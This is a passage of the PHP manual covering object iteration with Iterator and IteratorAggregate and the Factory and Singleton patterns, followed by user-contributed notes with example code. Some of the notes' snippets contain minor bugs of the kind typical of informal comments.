    private $var = array();

    public function __construct($array)
    {
        if (is_array($array)) {
            $this->var = $array;
        }
    }

    public function rewind()
    {
        echo "rewinding\n";
        reset($this->var);
    }

    public function current()
    {
        $var = current($this->var);
        echo "current: $var\n";
        return $var;
    }

    public function key()
    {
        $var = key($this->var);
        echo "key: $var\n";
        return $var;
    }

    public function next()
    {
        $var = next($this->var);
        echo "next: $var\n";
        return $var;
    }

    public function valid()
    {
        $key = key($this->var);
        $var = ($key !== NULL && $key !== FALSE);
        echo "valid: $var\n";
        return $var;
    }

}

$values = array(1,2,3);
$it = new MyIterator($values);

foreach ($it as $a => $b) {
    print "$a: $b\n";
}
?>

The above example will output:

rewinding
valid: 1
current: 1
key: 0
0: 1
next: 2
valid: 1
current: 2
key: 1
1: 2
next: 3
valid: 1
current: 3
key: 2
2: 3
next:
valid:

You can also define your class so that it doesn't have to define all the Iterator functions by simply implementing the PHP 5 IteratorAggregate interface.

Example #3 Object Iteration implementing IteratorAggregate

<?php
class MyCollection implements IteratorAggregate
{
    private $items = array();
    private $count = 0;

    // Required definition of interface IteratorAggregate
    public function getIterator() {
        return new MyIterator($this->items);
    }

    public function add($value) {
        $this->items[$this->count++] = $value;
    }
}

$coll = new MyCollection();
$coll->add('value 1');
$coll->add('value 2');
$coll->add('value 3');

foreach ($coll as $key => $val) {
    echo "key/value: [$key -> $val]\n\n";
}
?>

The above example will output:

rewinding
current: value 1
valid: 1
current: value 1
key: 0
key/value: [0 -> value 1]

next: value 2
current: value 2
valid: 1
current: value 2
key: 1
key/value: [1 -> value 2]

next: value 3
current: value 3
valid: 1
current: value 3
key: 2
key/value: [2 -> value 3]

next:
current:
valid:

Note:

For more examples of iterators, see the SPL Extension.

User Contributed Notes

uramihsayibok, gmail, com 06-Feb-2010 08:23
With method names like "current", "key", and "next", one might think that you can use the corresponding functions on your objects. For instance,

<?php

class MyIterator implements Iterator {
    // as defined in example #2
}

$iterator = new MyIterator(array(1, 2, 3));
reset($iterator); // calls $iterator->rewind?
var_dump(current($iterator)); // calls $iterator->current()?

?>

This doesn't work. It has been reported as a bug (and honestly it *would* make sense) but was rejected - objects can be treated as arrays... and that's what happens.
Peter &#39;the Pete&#39; de Pijd 01-Jul-2009 10:12
This is what seems to work for checking isFirst() and isLast() on a class implementing the Iterator interface - without destroying the internal array pointer:

<?php
// Let $this->_elements be your internal array with
// array("one", "two", "three")
public function isFirst()
{
    $hasPrevious = prev($this->_elements);
    // now undo
    if ($hasPrevious) {
        next($this->_elements);
    } else {
        reset($this->_elements);
    }
    return !$hasPrevious;
}

public function isLast()
{
    $hasNext = next($this->_elements);
    // now undo
    if ($hasNext) {
        prev($this->_elements);
    } else {
        end($this->_elements);
    }
    return !$hasNext;
}

// usage
foreach ($myInterator as $value) {
  echo $value;
  if ($myInterator->isFirst()) {
    echo " (first)";
  }
  if ($myInterator->isLast()) {
    echo " (last)";
  }
  echo " - value is still the same: ", $value, "<br />";
}

?>

output:
one (first) - value is still the same: one
two - value is still the same: two
three (last) - value is still the same: three

This can be helpfull for designing CSS elements where the first or last element must have a different padding/margin than the others.
hlegius at gmail dot com 15-Oct-2008 05:06
Iterator interface usign key() next() rewind() is MORE slow than extends ArrayIterator with ArrayIterator::next(), ArrayIterator::rewind(), etc.,
wavetrex A(nospam)T gmail DOT com 01-Mar-2008 02:50
By reading the posts below I wondered if it really is impossible to make an ArrayAccess implementation really behave like a true array ( by being multi level )

Seems like it's not impossible. Not very preety but usable

<?php

class ArrayAccessImpl implements ArrayAccess {

  private $data = array();

  public function offsetUnset($index) {}

  public function offsetSet($index, $value) {
//    echo ("SET: ".$index."<br>");

    if(isset($data[$index])) {
        unset($data[$index]);
    }

    $u = &$this->data[$index];
    if(is_array($value)) {
        $u = new ArrayAccessImpl();
        foreach($value as $idx=>$e)
            $u[$idx]=$e;
    } else
        $u=$value;
  }

  public function offsetGet($index) {
//    echo ("GET: ".$index."<br>");

    if(!isset($this->data[$index]))
        $this->data[$index]=new ArrayAccessImpl();

    return $this->data[$index];
  }

  public function offsetExists($index) {
//    echo ("EXISTS: ".$index."<br>");

    if(isset($this->data[$index])) {
        if($this->data[$index] instanceof ArrayAccessImpl) {
            if(count($this->data[$index]->data)>0)
                return true;
            else
                return false;
        } else
            return true;
    } else
        return false;
  }

}

echo "ArrayAccess implementation that behaves like a multi-level array<hr />";

$data = new ArrayAccessImpl();

$data['string']="Just a simple string";
$data['number']=33;
$data['array']['another_string']="Alpha";
$data['array']['some_object']=new stdClass();
$data['array']['another_array']['x']['y']="LOL @ Whoever said it can't be done !";
$data['blank_array']=array();

echo "'array' Isset? "; print_r(isset($data['array'])); echo "<hr />";
echo "<pre>"; print_r($data['array']['non_existent']); echo "</pre>If attempting to read an offset that doesn't exist it returns a blank object! Use isset() to check if it exists!<br>";
echo "'non_existent' Isset? "; print_r(isset($data['array']['non_existent'])); echo "<br />";
echo "<pre>"; print_r($data['blank_array']); echo "</pre>A blank array unfortunately returns similar results :(<br />";
echo "'blank_array' Isset? "; print_r(isset($data['blank_array'])); echo "<hr />";
echo "<pre>"; print_r($data); echo "</pre> (non_existent remains in the structure. If someone can help to solve this I'll appreciate it)<hr />";

echo "Display some value that exists: ".$data['array']['another_string'];

?>

(in the two links mentioned below by artur at jedlinski... they say you can't use references, so I didn't used them.
My implementation uses recursive objects)

If anyone finds a better (cleaner) sollution, please e-mail me.
Thanks,
Wave.
doctorrock83_at_gmail.com 18-May-2007 03:10
Please remember that actually the only PHP iterating structure that uses Iterator is foreach().

Any each() or list() applied to an Object implementing iterator will not provide the expected result
artur at jedlinski dot pl 22-Apr-2007 12:38
One should be aware that ArrayAccess functionality described by "just_somedood at yahoo dot com" below is currently broken and thus it's pretty unusable.

Read following links to find more:
http://bugs.php.net/bug.php?id=34783
http://bugs.php.net/bug.php?id=32983
rune at zedeler dot dk 27-Feb-2007 08:00
The iterator template from knj at aider dot dk does not yield correct results.
If you do
<?
reset($a);
next($a);
echo current($a);
?>
where $a is defined over the suggested template, then the first element will be output, not the second, as expected.
baldurien at bbnwn dot eu 09-Aug-2006 06:01
Beware of how works iterator in PHP if you come from Java!

In Java, iterator works like this :
<?php
interface Iterator<O> {
  boolean hasNext();
  O next();
  void remove();
}
?>
But in php, the interface is this (I kept the generics and type because it's easier to understand)

<?php
interface Iterator<O> {
  boolean valid();
  mixed key();
  O current();
  void next();
  void previous();
  void rewind();
}
?>

1. valid() is more or less the equivalent of hasNext()
2. next() is not the equivalent of java next(). It returns nothing, while Java next() method return the next object, and move to next object in Collections. PHP's next() method will simply move forward.

Here is a sample with an array, first in java, then in php :

<?php
class ArrayIterator<O> implements Iterator<O> {
  private final O[] array;
  private int index = 0;

  public ArrayIterator(O[] array) {
     this.array = array;
  }

  public boolean hasNext() {
    return index < array.length;
  }

  public O next() {
     if ( !hasNext())
       throw new NoSuchElementException('at end of array');
     return array[index++];
  }

  public void remove() {
    throw new UnsupportedOperationException('remove() not supported in array');
  }
}
?>

And here is the same in php (using the appropriate function) :

<?php
/**
 * Since the array is not mutable, it should use an internal
 * index over the number of elements for the previous/next
 * validation.
 */
class ArrayIterator implements Iterator {
  private $array;
  public function __construct($array) {
    if ( !is_array($array))
      throw new IllegalArgumentException('argument 0 is not an array');
    $this->array = array;
    $this->rewind();
  }
  public function valid() {
    return current($this->array) !== false;
    // that's the bad method (should use arrays_keys, + index)
  }
  public function key() {
     return key($this->array);
  }
  public function current() {
    return current($this->array);
  }
  public function next() {
    if ( $this->valid())
      throw new NoSuchElementException('at end of array');
    next($this->array);
  }
  public function previous()  {
    // fails if current() = first item of array
    previous($this->array);
  }
  public function rewind() {
     reset($this->array);
  }
}
?>

The difference is notable : don't expect next() to return something like in Java, instead use current(). This also means that you have to prefetch your collection to set the current() object. For instance, if you try to make a Directory iterator (like the one provided by PECL), rewind should invoke next() to set the first element and so on. (and the constructor should call rewind())

Also, another difference :

<?php
class ArrayIterable<O> implements Iterable<O> {
  private final O[] array;

  public ArrayIterable(O[] array) {
     this.array = array;
  }

  public Iterator<O> iterator() {
     return new ArrayIterator(array);
  }
}
?>

When using an Iterable, in Java 1.5, you may do such loops :

<?php
for ( String s : new ArrayIterable<String>(new String[] {"a", "b"})) {
  ...
}
?>
Which is the same as :

<?php
Iterator<String> it = new ArrayIterable<String>(new String[] {"a", "b"});
while (it.hasNext()) {
  String s = it.next();
  ...
}
?>
While in PHP it's not the case :
<?php
foreach ( $iterator as $current ) {
  ...
}
?>
Is the same as :

<?php
for ( $iterator->rewind(); $iterator->valid(); $iterator->next()) {
  $current = $iterator->current();
  ...
}
?>

(I think we may also use IteratorAggregate to do it like with Iterable).

Take that in mind if you come from Java.

I hope this explanation is not too long...
chad 0x40 herballure 0x2e com 05-May-2006 06:46
The example code given for valid() will break if the array contains a FALSE value. This code prints out a single "bool(true)" and exits the loop when it gets to the FALSE:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(current($A) !== FALSE) {
  var_dump(current($A));
  next($A);
}
?>

Instead, the key() function should be used, since it returns NULL only at the end of the array. This code displays all four elements and then exits:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(!is_null(key($A))) {
  var_dump(current($A));
  next($A);
}
?>
markushe at web dot de 06-Aug-2005 11:05
Just something i noticed:
It seems, that when you are implementing the interface Iterator, yout method key() has to return a string or integer.

I was trying to return a object an got this error:
Illegal type returned from MyClass::key()
just_somedood at yahoo dot com 27-Jun-2005 12:20
To clarify on php at moechofe's post, you CAN use the SPL to overide the array operator for a class.  This, with the new features of object, and autoloading (among a buch of other things) has me completely sold on PHP5.  You can also find this information on the SPL portion of the manual, but I'll post it here as well so it isn't passed up.  The below Collection class will let you use the class as an array, while also using the foreach iterator:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
    public $objectArray = Array();
    //**these are the required iterator functions
    function offsetExists($offset)
    {
        if(isset($this->objectArray[$offset]))  return TRUE;
        else return FALSE;
    }

    function & offsetGet($offset)
    {
        if ($this->offsetExists($offset))  return $this->objectArray[$offset];
        else return (false);
    }

    function offsetSet($offset, $value)
    {
        if ($offset)  $this->objectArray[$offset] = $value;
        else  $this->objectArray[] = $value;
    }

    function offsetUnset($offset)
    {
        unset ($this->objectArray[$offset]);
    }

    function & getIterator()
    {
        return new ArrayIterator($this->objectArray);
    }
    //**end required iterator functions

    public function doSomething()
    {
        echo "I'm doing something";
    }
}

?>

I LOVE the new SPL stuff in PHP!  An example of usage is below:

<?php
class Contact
{
    protected $name = NULL;

    public function set_name($name)
    {
        $this->name = $name;
    }

    public function get_name()
    {
        return ($this->name);
    }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This makes code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
PrzemekG_ at poczta dot onet dot pl 27-May-2005 04:20
If you want to do someting like this:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>
you must return values by reference in your iterator object:
<?php
class MyObject implements Iterator
{
/* ...... other iterator functions ...... */
/* return by reference */
public function &current()
{
   return $something;
}
?>

This won't change values:
<?php
foreach($MyObject as $key => $value)
   $value = 'new '.$value;
?>

This will change values:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>

I think this should be written somewhere in the documentations, but I couldn't find it.
elias at need dot spam 10-Apr-2005 03:15
The MyIterator::valid() method above ist bad, because it
breaks on entries with 0 or empty strings, use key() instead:

<?php
public function valid()
{
    return ! is_null(key($this->var));
}
?>

read about current() drawbacks:
http://php.net/current
strrev('ed.relpmeur@ekneos'); 01-Mar-2005 02:25
Use the SPL ArrayAccess interface to call an object as array:

http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html
phpnet at nicecupofteaandasitdown dot com 22-Feb-2005 08:09
You should be prepared for your iterator's current method to be called before its next method is ever called. This certainly happens in a foreach loop. If your means of finding the next item is expensive you might want to use something like this

private $item;

function next() {
    $this->item = &$this->getNextItem();
    return $this->item;
}

public function current() {
     if(!isset($this->item)) $this->next();
    return $this->item;
}
knj at aider dot dk 18-Dec-2004 07:19
if you in a string define classes that implements IteratorAggregate.
you cant use the default;
<?
...
public function getIterator() {
       return new MyIterator(\\$this-><What ever>);
}
..
?>
at least not if you want to use eval(<The string>).
You have to use:
<?
...
public function getIterator() {
      \\$arrayObj=new ArrayObject(\\$this-><What ever>);
      return \\$arrayObj->getIterator();
}
...
?>
Overloading
Patterns
Classes and Objects


Patterns

Patterns are ways to describe best practices and good designs. They show a flexible solution to common programming problems.

Factory

The Factory pattern allows for the instantiation of objects at runtime. It is called a Factory Pattern since it is responsible for "manufacturing" an object. A Parameterized Factory receives the name of the class to instantiate as argument.

Example #1 Parameterized Factory Method

<?php
class Example
{
    // The parameterized factory method
    public static function factory($type)
    {
        if (include_once 'Drivers/' . $type . '.php') {
            $classname = 'Driver_' . $type;
            return new $classname;
        } else {
            throw new Exception('Driver not found');
        }
    }
}
?>

Defining this method in a class allows drivers to be loaded on the fly. If the Example class was a database abstraction class, loading a MySQL and SQLite driver could be done as follows:

<?php
// Load a MySQL Driver
$mysql = Example::factory('MySQL');

// Load an SQLite Driver
$sqlite = Example::factory('SQLite');
?>

Singleton

The Singleton ensures that there can be only one instance of a Class and provides a global access point to that instance. Singleton is a "Gang of Four" Creational Pattern.

The Singleton pattern is often implemented in Database Classes, Loggers, Front Controllers or Request and Response objects.

Example #2 Singleton example

<?php
class Example
{
    private static $instance;
    private $count = 0;

    private function __construct()
    {
    }

    public static function singleton()
    {
        if (!isset(self::$instance)) {
            echo 'Creating new instance.';
            $className = __CLASS__;
            self::$instance = new $className;
        }
        return self::$instance;
    }

    public function increment()
    {
        return $this->count++;
    }

    public function __clone()
    {
        trigger_error('Clone is not allowed.', E_USER_ERROR);
    }

    public function __wakeup()
    {
        trigger_error('Unserializing is not allowed.', E_USER_ERROR);
    }
}
?>

Illustrated below is how the Singleton behaves

<?php
$singleton = Example::singleton(); // prints "Creating new instance."
echo $singleton->increment(); // 0
echo $singleton->increment(); // 1

$singleton = Example::singleton(); // reuses existing instance now
echo $singleton->increment(); // 2
echo $singleton->increment(); // 3

// all of these will raise a Fatal Error
$singleton2 = new Example;
$singleton3 = clone $singleton;
$singleton4 = unserialize(serialize($singleton));
?>
Warning

The Singleton pattern is one of the more controversial patterns. Critics argue that Singletons introduce Global State into an application and tightly couple the Singleton and its consuming classes. This leads to hidden dependencies and unexpected side-effects, which in turn leads to code that is harder to test and maintain.

Critics further argue that it is pointless to use a Singleton in a Shared Nothing Architecture like PHP where objects are unique within the Request only anyways. It is easier and cleaner to create collaborator object graphs by using Builders and Factory patterns once at the beginning of the Request.

Singletons also violate several of the "SOLID" OOP design principles and the Law of Demeter. Singletons cannot be serialized. They cannot be subtyped (before PHP 5.3) and won't be Garbage Collected because of the instance being stored as a static attribute of the Singleton.

User Contributed Notes

geliscan[at]gmail[dot]com 03-Dec-2011 03:05
This is a simple Command Pattern example which performs Undo operation on a calculator. You may use callbacks in order to verify open-close principle.
<?php
abstract class Command {
    abstract public function unExecute ();
    abstract public function Execute ();
}
class concreteCommand extends Command {
    private $operator,$operand,$calculator;
    public function __construct ($calculator,$operator,$operand) {
        $this->operator = $operator;
        $this->operand = $operand;
        $this->calculator = $calculator;
    }
    public function Execute() {
        $this->calculator->Action($this->operator,$this->operand);
    }
    public function unExecute () {
        $this->calculator->Action($this->Undo($this->operator),$this->operand);
    }
    private function Undo ($operator) {
        switch ($operator) {
            case '+': return '-';
            case '-': return '+';
            case '*': return '/';
            case '/': return '*';
        }
    }
}
class Calculator {
    private $current;
    public function __construct() {
        $this->current = 0;
    }
    public function Action($operator,$operand) {
        switch ($operator) {
            case '+':
                $this->current += $operand;
                break;
            case '-':
                $this->current -= $operand;
                break;
            case '*':
                $this->current *= $operand;
                break;
            case '/':
                $this->current /= $operand;
                break;
        }
    }
    public function getCurrent() {
        return $this->current;
    }
}
class Invoker {
    private $commands,$calculator,$current;
    public function __construct() {
        $current =-1;
    }
    public function Undo() {
        if ($this->current >= 0) {
            $this->commands[$this->current]->unExecute();
            $this->current--;
        }
    }
    public function Compute($command) {
        $command->Execute();
        $this->current++;
        $this->commands[$this->current] = $command;
    }
}

?>

Example Usage:

<?php
$User = new Invoker();
$calculator = new Calculator();
$command = new concreteCommand($calculator,'+',5);
$User->Compute($command);
echo "After +5: ".$calculator->getCurrent()."<br/>";
$command = new concreteCommand($calculator,'*',7);
$User->Compute($command);
echo "After *7: ".$calculator->getCurrent()."<br/>";
$command = new concreteCommand($calculator,'/',2);
$User->Compute($command);
echo "After /2: ".$calculator->getCurrent()."<br/>";
$command = new concreteCommand($calculator,'-',10);
$User->Compute($command);
echo "After -10: ".$calculator->getCurrent()."<br/>";
$User->Undo();
echo "Undo Operation: ".$calculator->getCurrent()."<br/>";
$User->Undo();
echo "Undo Operation: ".$calculator->getCurrent()."<br/>";
$User->Undo();
echo "Undo Operation: ".$calculator->getCurrent()."<br/>";
$User->Undo();
echo "Undo Operation: ".$calculator->getCurrent()."<br/>";
?>

and Output:

After +5: 5
After *7: 35
After /2: 17.5
After -10: 7.5
Undo Operation: 17.5
Undo Operation: 35
Undo Operation: 5
Undo Operation: 0
patrick at bierans dot de 24-Feb-2011 10:42
It is possible to use every class
as if it is a singleton with a little abstraction.

I wrote some code to show you:

<?php
  class MyEngine{ /* static */
    static $singletons=array();
    static function singletonizer($classname,$classarguments=array()){
      $sca=serialize($classarguments);
      if (!isset(MyEngine::$singletons[$classname][$sca])) {
        if (!class_exists($classname))
          /* auto loader, add error reporting for missing classes etc */
          include("classes/".$classname."/.class.php");
        MyEngine::$singletons[$classname][$sca]
          =& new $classname($classarguments);
      }
      /* this is the pointer/reference and not a new object! */
      return MyEngine::$singletons[$classname][serialize($classarguments)];
    }
    static function debug($msg,$data=""){
      echo "<pre>".$msg."\t".print_r($data,1)."</pre>\r\n";
    }
  }
?>

Now let's test it!
Defining a class:

<?php
  class testclass{
    private $value;
    function __construct($args){
      MyEngine::debug("- testclass contructed with ",$args);
      if (isset($args["value"]))
        $this->set($args["value"]);
      else
        $this->value=0;
    }
    public function set($value){
      $this->value = $value;
      MyEngine::debug("- testclass set value =",$this->value);
    }
    public function get(){
      MyEngine::debug("- testclass get value =",$this->value);
      return $this->value;
    }
  }
?>

And here we run a testcase:

<?php
  $args=array("value"=>12);
  MyEngine::debug('create $a','expecting: contruct and set 12');
  $a=MyEngine::singletonizer("testclass",$args);
  $a->set(13);
  MyEngine::debug('create $b','expecting: just load it. should be 13, no contruct');
  $b=MyEngine::singletonizer("testclass",$args);
  MyEngine::debug("b value is (expecting 13)",$b->get());
  $args=array("value"=>11);
  MyEngine::debug('create $c','different args -> new construct, set 11');
  $c=MyEngine::singletonizer("testclass",$args);
  MyEngine::debug("c value is (expecting 11)",$c->get());
  $args=array("value"=>12);
  MyEngine::debug('create $d','recognize args, load it, should be 13');
  $d=MyEngine::singletonizer("testclass",$args);
  MyEngine::debug("d value is (expecting 13)",$d->get());
?>

feedback welcome!

HTH :)

Patrick from Berlin, Germany
sjh 21-Jan-2011 06:27
The problem with the singleton pattern is that there aren't really many cases where it is a true singleton.

There are many cases where you want to get access to a specific object that is the same each time.
For example accessing objects that have different drivers.

In this instance its better to use the Lazy Initialization pattern:

<?php
abstract function Lazy_Initialization_Object {
    /* Set up the array of instances */
    protected static $instances = array();

    /** Make sure the constructor isn't accessible to
     * the rest of the world
     */
    private function __construct() {}

    /**
     * Returns a specific object that relies on the
     * parameter passed
     *
     * @param string class name to be returned
     * @throws Exception if $type doesn't extend __CLASS__
     */
    public function get_object($type) {
        $reflection_class = new ReflectionClass($type);

        // Check if the object is a Lazy Iinitialization Object
        if( ! $reflection_class->isSubclassOf(__CLASS__))
            throw Exception("$type does not extend __CLASS__");

        // Check if the object already exists in the pool
        if( ! array_key_exists($type,self::$instances)) {
          // If not initialise a new one and place it in the pool
            self::$instances[$type]=$reflection_class->newInstance();
        }

        // Return the object you want
        return self::$instances[$type]

    }

    /** Specify all the functions that these drivers have in common */
    public abstract function initialize($name);

    public function display() {

       echo $content
    }

    protected $content;
}

class Person_Driver_HTML extends Lazy_Initialization_Object {

   public function initialize($name) {
         $content = "<p>Name: $name</p>";
   }

}

class Person_Driver_Raw extends Lazy_Initialization_Object {
    public function initialize($name) {
         $content = "name: $name";
    }

}

Lazy_Initialization_Object::
    get_object("Person_Driver_Raw")->initialize("fifi");

Lazy_Initialization_Object::
    get_object("Person_Driver_HTML")->initialize("fifi");

Lazy_Initialization_Object::
    get_object("Person_Driver_HTML")->display();
// will output "<p>Name: fifi</p>"
Lazy_Initialization_Object::
    get_object("Person_Driver_Raw")->display();
// will output "name: fifi";

echo Lazy_Initialization_Object::
         get_object("Person_Driver_HTML") ===
     Lazy_Initialization_Object::
         get_object("Person_Driver_HTML"); // TRUE

echo Lazy_Initialization_Object::
         get_object("Person_Driver_HTML") ===
     Lazy_Initialization_Object::
         get_object("Person_Driver_Raw"); // FALSE

?>
boukeversteegh at gmail dot com 18-Aug-2010 02:05
I've come up with an interesting and intuitive way to define a generic Factory class. It's basically an empty object that remembers all operations you perform on it. You can then request an actual instance, and all operations are repeated on that instance. The order of the operations is preserved.

<?php
    # If you want a factory that initializes an object like this:
    $myobject = new MyObject('arg1', 'arg2');
    $myobject->doFooBar();
    $myobject->baz = 10;

    # You write:
    $f_myobject = new MagicFactory('MyObject', 'arg1', 'arg2');
    $f_myobject->doFooBar();
    $f_myobject->baz = 10;

    # You can now get the same object like this:
    $myobject = $f_myobject->instance();
?>

<?php

    /**
     * Generic Factory class
     *
     * This Magic Factory will remember all operations you perform on it,
     * and apply them to the object it instantiates.
     *
     */
    class MagicFactory {
        private $history, $class, $constructor_args;

        /**
         * Create a factory of given class. Accepts extra arguments to be passed to
         * class constructor.
         */
        function __construct( $class ) {
            $args = func_get_args();
            $this->class = $class;
            $this->constructor_args = array_slice( $args, 1 );
        }

        function __call( $method, $args ) {
            $this->history[] = Array(
                'action'    => 'call',
                'method'    => $method,
                'args'        => $args
            );
        }

        function __set( $property, $value ) {
            $this->history[] = Array(
                'action'    => 'set',
                'property'    => $property,
                'value'        => $value
            );
        }

        /**
         * Creates an instance and performs all operations that were done on this MagicFactory
         */
        function instance() {
            # use Reflection to create a new instance, using the $args
            $reflection_object = new ReflectionClass( $this->class );
            $object = $reflection_object->newInstanceArgs( $this->constructor_args );

            # Alternative method that doesn't use ReflectionClass, but doesn't support variable
            # number of constructor parameters.
            //$object = new $this->class();

            # Repeat all remembered operations, apply to new object.
            foreach( $this->history as $item ) {
                if( $item['action'] == 'call' ) {
                    call_user_func_array( Array( $object, $item['method'] ), $item['args'] );
                }
                if( $item['action'] == 'set' ) {
                    $object->{$item['property']} = $item['value'];
                }
            }

            # Done
            return $object;
        }
    }

?>

Example:

<?php

    class Person {
        private $name, $sirname;
        public $age;

        function __construct( $name, $sirname ) {
            $this->name = $name;
            $this->sirname = $sirname;
        }

        function setName( $name ) {
            $this->name = $name;
        }

        function introduce() {
            print "Hello, my name is {$this->name} {$this->sirname}! I'm {$this->age} years old.";
        }
    }

    # Setup a factory
    $person_factory = new MagicFactory('Person', 'John', 'Johnson');
    $person_factory->setName('Jack');
    $person_factory->age = 55;

    # Get an instance
    $jack = $person_factory->instance();
    $jack->introduce();

    # Prints:
    # Hello, my name is Jack Johnson! I'm 55 years old
Anonymous 10-Jun-2010 05:39
Singleton in php doesn't responded like java (or others), the static instance resets on every request......
Deman 05-Mar-2010 07:11
Php needs macros! That's right php seems almost unusable sometimes without precompiler. Fortunately you can generate php code with php and (easily) cache it so you can still take advantage of the php optimizing capabilities. It just creates a mess when debugging, no big deal ;)

You need to extend the language to your own needs.

But this singleton business might just work without without macros, not that nicely though.

<?php
class Singleton {
    private static $instance;
    public static function singleton($class = __CLASS__) {
        if (!isset(self::$instance))
            self::$instance = array();
        if (!isset(self::$instance[$classname]))
            self::$instance[$classname] = new $classname;
        return self::$instance[$classname];
    }
}
class SubClass extends Singleton {
    public static function singleton($class = __CLASS__) {
        return parent::singleton($class);
    }
}
class SubSubClass extends SubClass {
    public static function singleton($class = __CLASS__) {
        return parent::singleton($class);
    }
}
?>

As you can see, the static $instance can be an associative array holding all the instances of derived classes, but you still can't work around overriding the singleton/getInstance static method... That's what macros or language extensions would be for...

<?php
class SINGLETON(SubClass) {
    /*...*/
}
?>

Translate to:

<?php
class SubClass extends Singleton {
    public static function singleton($class = __CLASS__) {
        return parent::singleton($class);
    }
    /*...*/
}
?>
quentinberlemont at gmail dot com 17-Dec-2009 09:01
<?php
/**
 * Class Singleton is a generic implementation of the singleton design pattern.
 *
 * Extending this class allows to make a single instance easily accessible by
 * many other objects.
 *
 * @author     Quentin Berlemont <quentinberlemont@gmail.com>
 */
abstract class Singleton
{
    /**
     * Prevents direct creation of object.
     *
     * @param  void
     * @return void
     */
    protected function __construct() {}

    /**
     * Prevents to clone the instance.
     *
     * @param  void
     * @return void
     */
    final private function __clone() {}

    /**
     * Gets a single instance of the class the static method is called in.
     *
     * See the {@link http://php.net/lsb Late Static Bindings} feature for more
     * information.
     *
     * @param  void
     * @return object Returns a single instance of the class.
     */
    final static public function getInstance()
    {
        static $instance = null;

        return $instance ?: $instance = new static;
    }
}
?>

E.g.

<?php
// Foo class
class Foo extends \Framework\Core\Singleton
{
    // Bar method
    public function bar()
    {
        echo __CLASS__ . PHP_EOL;
    }
}

// Returns a single instance of Foo class
$foo = Foo::getInstance();

// Prints: Foo
 $foo->bar();
?>

Best regards,
Quentin.
ltearno at gmail dot com 22-Sep-2009 09:11
The Singleton class version wich is useable by only extending it :

you would use is for example like this :

<?php
class Users extends Singleton
{
    // ...
    public function SomeMethod()
    {
    }
}
?>

and in your code :

<?php
Users::inst()->SomeMethod();
?>

I didn't check for performance, but here is the code :

<?php
class Singleton
{
    // Hold an instance of the class
    private static $instances = array();

    // A private constructor; prevents direct creation of object
    final private function __construct()
    {
    }

    // Prevent users to clone the instance
    final public function __clone()
    {
        trigger_error( 'Clone is not allowed.', E_USER_ERROR );
    }

    // The singleton method
    final public static function inst()
    {
        $c = get_called_class();

        if( ! isset( self::$instances[$c] ) )
        {
            self::$instances[$c] = new $c;
        }

        return self::$instances[$c];
    }
}
?>
edgar at goodforall dot eu 25-Aug-2009 02:03
Example, which shows how the class works:
<?php

/* First we create hunderd numbered chainable classes, which will quadrate the passed integer if the number of the class is the same as the integer.
*/
for($i = 0; $i < 100; $i++){
$funcs[] = create_function('','class C'.$i.' extends Chainable {
        public function run(Message $msg){

        $int = $msg->getMessage();
        if($int == '.$i.'){
                return new Message($int * $int);

        }

        }
        };
        return new C'.$i.';

        ');
}
/* Then we create a function, which will chain the objects together and returns C0.
 C0 -> C1 -> C2 -> C3 ... -> C99
*/
function chain($funcs, $c = null){
        if($c == null){
                $func = array_pop($funcs);
                $c = $func();
                $init = true;
        } else {
                $init = false;
        }
        if(count($funcs) > 0){
                $func = array_pop($funcs);
                $d = $func();
                $c->addLink($d);
                chain($funcs, $d);
        }
        if($init){
                return $c;
        }
}
/* Create the chain */
$c = chain($funcs);

/* Now we can use the chain to calculate quadrates up to 99
output:
25
No object can handle this type
*/
try {
/* This will forward the new Message(5) to C0 then to C1 until it reaches C5,
which calculates 5 * 5 and then returns new Message(5 * 5) to C4 -> C3 .. ->C0 -> caller
When I enter 100 the chain will fail to process the integer, because there is no C100 class. C99 will throw an exception.
*/
        $mesg = $c->forward(new Message(5)); // 25
        print $mesg . "\n";
        $mesg = $c->forward(new Message(100));
        print $mesg . "\n";
} catch(Exception $e) {
        print $e->getMessage() . "\n";
}
?>
edgar at goodforall dot eu 24-Aug-2009 09:39
This class will let you chain objects together into a chain. You can forward a message into the chain. The message propagates upwards into the chain until an object can handle it and returns a value. Then the return value is send backwards into the chain until it reached the caller.

This can be useful in various situations, where flexibility is needed.

In the begin of the chain we put more specialized methods, which will handle special cases (like user defined objects, json code, xml etcetera). And in the back more general (strings, array's). Now we can pass data to the chain and always get valid and safe html back. If we encounter a new data type we just put on the head of the chain a new object, which can handle this type of data.

<?php

abstract class Chainable {
        protected $next = null;
        protected $prev = null;
        protected $res = null;

        public function forward(Message $object){
                if($return = $this->run($object)){
                        return $this->backward($return);
                }
                if($this->next !== null){
                        return $this->next->forward($object);
                } else {
                        throw new Exception('No object can handle this type');
                }
        }
        public function backward(Message $object){

                if($this->prev === null){
                        return $object;
                } else {
                        return $this->prev->backward($object);
                }
        }
        abstract public function run(Message $object);
        public function addLink(Chainable $link){
                if($this->next !== null){
                        $this->next->addLink($link);
                } else {
                        $this->next = $link;
                        $this->next->setPrevLink($this);
                }
                return $this;
        }
        protected function setPrevLink(Chainable $link){
                $this->prev = $link;
                return $this;
        }
}
?>

Also needed the message object:

<?php
    class Message {
        protected $data;
        public function __construct($data){
                $this->data = $data;
        }
        public function getMessage(){
                return $this->data;
        }
        public function setMessage($data){
                $this->data = $data;
        }
        public function __toString(){
                return (string)$this->data;
        }
}

?>
edgar at goodforall dot eu 13-Jul-2009 08:48
Example of a decorator, which adds array access to any object:

<?php

class ArrayAccessDecorator implements ArrayAccess {
        protected $object = null;
        public function __construct($object){
                $this->object = $object;
        }
        public function __call($method, $args){
                return $this->productpart->$method($args);
        }
        public function __set($key, $val){
                $this->object->$key = $val;
        }
        public function __get($key){
                return $this->object->$key;
        }
        /* ArrayAccess */
        public function offsetSet($key, $value){
                $this->__set($key, $value);
        }
        public function offsetGet($key){
                return $this->__get($key);
        }
        public function offsetUnset($key){
                $this->__set($key, null);
        }
